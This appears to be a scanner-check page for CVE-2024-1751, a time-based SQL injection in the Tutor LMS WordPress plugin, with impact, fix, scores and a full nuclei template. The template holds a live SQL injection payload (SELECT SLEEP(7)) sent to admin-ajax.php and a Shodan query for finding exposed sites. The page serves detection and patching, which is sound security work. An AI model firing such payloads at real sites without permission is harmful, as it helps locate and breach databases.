Tutor LMS <= 2.1.10 - SQL Injection

highseverity

7.5CVSS score

3.1%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

Tutor LMS – eLearning and online course solution plugin for WordPress [all versions up to 2.6.1] contains a time-based SQL Injection caused by insufficient escaping on the question_id parameter in SQL queries, letting authenticated attackers with subscriber or higher access extract sensitive information, exploit requires attacker to be authenticated with subscriber or higher privileges.

Impact

Authenticated attackers can extract sensitive database information through SQL injection, potentially leading to data breach or further exploitation.

Fix

Update to version 2.6.2 or later to fix the vulnerability.

How to confirm it

Send: GET /courses/
Positive when: status_code == 200 and contains(body, "_tutor_nonce")
Send: @timeout: 30s
Positive when: duration>=7 and status_code == 200 and contains(content_type, "application/json") and contains_any(body, "\"success\":true", "tutor-instructor-list")

Run it with nuclei: nuclei -id CVE-2024-1751 -u <target>

The full check

id: CVE-2024-1751

info:
  name: Tutor LMS <= 2.1.10 - SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    Tutor LMS – eLearning and online course solution plugin for WordPress [all versions up to 2.6.1] contains a time-based SQL Injection caused by insufficient escaping on the question_id parameter in SQL queries, letting authenticated attackers with subscriber or higher access extract sensitive information, exploit requires attacker to be authenticated with subscriber or higher privileges.
  impact: |
    Authenticated attackers can extract sensitive database information through SQL injection, potentially leading to data breach or further exploitation.
  remediation: |
    Update to version 2.6.2 or later to fix the vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tutor/tutor-lms-2110-unauthenticated-sql-injection
    - https://plugins.trac.wordpress.org/changeset?old=2919134%40tutor&new=2919134%40tutor
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1751
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-1751
    epss-score: 0.03109
    epss-percentile: 0.87896
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"/plugins/tutor/"
  tags: cve,cve2024,wordpress,wp-plugin,tutor,sqli,unauth,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /courses/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "_tutor_nonce")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - "_tutor_nonce[\"']:\\s*[\"']([a-f0-9]+)[\"']"
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=load_filtered_instructor&_tutor_nonce={{nonce}}&current_page=1&short_by=ASC%2C%28SELECT+SLEEP%287%29%29--+-

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_any(body, "\"success\":true", "tutor-instructor-list")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from